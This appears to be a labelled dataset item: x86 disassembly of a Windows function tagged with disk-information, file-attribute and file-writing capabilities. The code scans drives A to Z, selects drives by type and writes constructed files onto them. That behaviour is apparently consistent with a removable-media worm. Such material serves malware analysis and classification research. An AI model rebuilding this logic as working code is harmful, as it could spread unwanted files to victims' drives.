Function at 0x40a1a0
Capabilities:
Get disk information
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x30
push 0
push 0
dec ecx
jne 0x40a1a8
push ecx
push ebx
push esi
mov ebx, dword [ebp + 8]
xor eax, eax
push ebp
push 0x40a67d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
cmp dword [ebp + 0xc], 0
je 0x40a1d5
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0
jne 0x40a201
lea eax, [ebp - 0x148]
mov edx, ebx
call fcn.00403a7c
mov eax, dword [ebp - 0x148]
lea edx, [ebp - 0x144]
call fcn.004098e4
mov eax, dword [ebp - 0x144]
call fcn.00403cd0
mov dword [ebp + 0xc], eax
lea edx, [ebp - 0x30]
mov eax, ebx
call fcn.00409d0c
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
add ebx, 0x41
lea eax, [ebp - 0x14c]
mov edx, ebx
call fcn.00403a6c
lea eax, [ebp - 0x14c]
mov edx, 0x40a698
call fcn.00403ad8
mov eax, dword [ebp - 0x14c]
call fcn.00403cd0
mov ebx, eax
push ebx
call sub.kernel32.dll_GetDriveTypeA
cmp eax, dword [ebp + 0x10]
je 0x40a290
cmp dword [ebp + 0x10], 0x41
jb 0x40a644
lea eax, [ebp - 0x150]
mov edx, dword [ebp + 0x10]
call fcn.00403a6c
lea eax, [ebp - 0x150]
mov edx, 0x40a698
call fcn.00403ad8
mov eax, dword [ebp - 0x150]
call fcn.00403cd0
push eax
push ebx
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x40a644
push 0x32
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0xc8
lea eax, [ebp - 0x10d]
push eax
push ebx
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x40a644
lea eax, [ebp - 0x154]
mov edx, ebx
call fcn.00403a7c
lea eax, [ebp - 0x154]
mov edx, 0x40a6a4
call fcn.00403ad8
mov eax, dword [ebp - 0x154]
call fcn.00403cd0
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x158]
mov edx, ebx
call fcn.00403a7c
lea eax, [ebp - 0x158]
push eax
lea edx, [ebp - 0x15c]
mov eax, dword [ebp + 0xc]
call fcn.004098d0
mov edx, dword [ebp - 0x15c]
pop eax
call fcn.00403ad8
mov eax, dword [ebp - 0x158]
call fcn.00403cd0
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x164]
mov edx, 0x1b
mov eax, 0x40a6b8
call fcn.00409adc
push dword [ebp - 0x164]
push 0x40a6cc
push 0x40a6d8
lea eax, [ebp - 0x168]
mov edx, dword [ebp + 0xc]
call fcn.00403a7c
push dword [ebp - 0x168]
push 0x40a6cc
push 0x40a6e8
push 0x40a6cc
push 0x40a704
lea eax, [ebp - 0x16c]
mov edx, dword [ebp + 0xc]
call fcn.00403a7c
push dword [ebp - 0x16c]
push 0x40a6cc
push 0x40a720
push 0x40a6cc
lea ecx, [ebp - 0x170]
mov edx, 0x1b
mov eax, 0x40a740
call fcn.00409adc
push dword [ebp - 0x170]
push 0x40a6cc
lea ecx, [ebp - 0x174]
mov edx, 0x1b
mov eax, 0x40a768
call fcn.00409adc
push dword [ebp - 0x174]
lea eax, [ebp - 0x178]
mov edx, dword [ebp + 0xc]
call fcn.00403a7c
push dword [ebp - 0x178]
lea eax, [ebp - 0x160]
mov edx, 0x10
call fcn.00403b90
mov eax, dword [ebp - 0x160]
call fcn.00403cd0
mov ebx, eax
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x20]
call fcn.00409d0c
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x17c]
mov edx, ebx
call fcn.00403a7c
mov eax, dword [ebp - 0x17c]
call fcn.00403ad0
cdq
push edx
push eax
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x40a439
cmp eax, dword [esp]
pop edx
pop eax
jne 0x40a473
cmp dword [ebp - 0x14], 0
je 0x40a50d
lea eax, [ebp - 0x180]
mov edx, ebx
call fcn.00403a7c
mov eax, dword [ebp - 0x180]
call fcn.00403ad0
mov ecx, eax
mov edx, ebx
mov eax, dword [ebp - 0x14]
call fcn.00409a68
test al, al
jne 0x40a50d
push 0
mov esi, dword [ebp - 0x20]
push esi
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push esi
mov eax, dword [0x414dd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x40a4f9
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0xffffffff
je 0x40a4de
push 0
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x184]
mov edx, ebx
call fcn.00403a7c
mov eax, dword [ebp - 0x184]
call fcn.00403ad0
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteFile_1
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a500
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [0x414df8]
mov eax, dword [eax]
call eax
ret
mov eax, dword [ebp - 0x20]
call fcn.0040a184
cmp byte [ebp + 0x14], 0
je 0x40a52f
mov eax, dword [ebp - 0x20]
call fcn.00409b7c
test al, al
jne 0x40a52f
mov eax, dword [ebp - 0x20]
call fcn.00409c6c
cmp dword [ebp - 0x14], 0
je 0x40a53d
mov eax, dword [ebp - 0x14]
call fcn.00402538
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
call fcn.00409d0c
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x30]
jne 0x40a57d
cmp dword [ebp - 0x18], 0
je 0x40a614
cmp dword [ebp - 0x1c], 0
je 0x40a614
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x30]
call fcn.00409a68
test al, al
jne 0x40a614
push 0
mov ebx, dword [ebp - 0x24]
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push ebx
mov eax, dword [0x414dd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40a5f1
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0x10], 0xffffffff
je 0x40a5d6
push 0
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_WriteFile_1
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a5f8
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [0x414df8]
mov eax, dword [eax]
call eax
ret
mov eax, dword [ebp - 0x24]
call fcn.0040a184
cmp byte [ebp + 0x14], 0
je 0x40a636
mov eax, dword [ebp - 0x24]
call fcn.00409b7c
test al, al
jne 0x40a636
mov eax, dword [ebp - 0x24]
call fcn.00409c6c
cmp dword [ebp - 0x18], 0
je 0x40a644
mov eax, dword [ebp - 0x18]
call fcn.00402538
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jne 0x40a213
cmp dword [ebp - 0x1c], 0
je 0x40a65f
mov eax, dword [ebp - 0x1c]
call fcn.00402538
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a684
lea eax, [ebp - 0x184]
mov edx, 0x11
call fcn.00403954
ret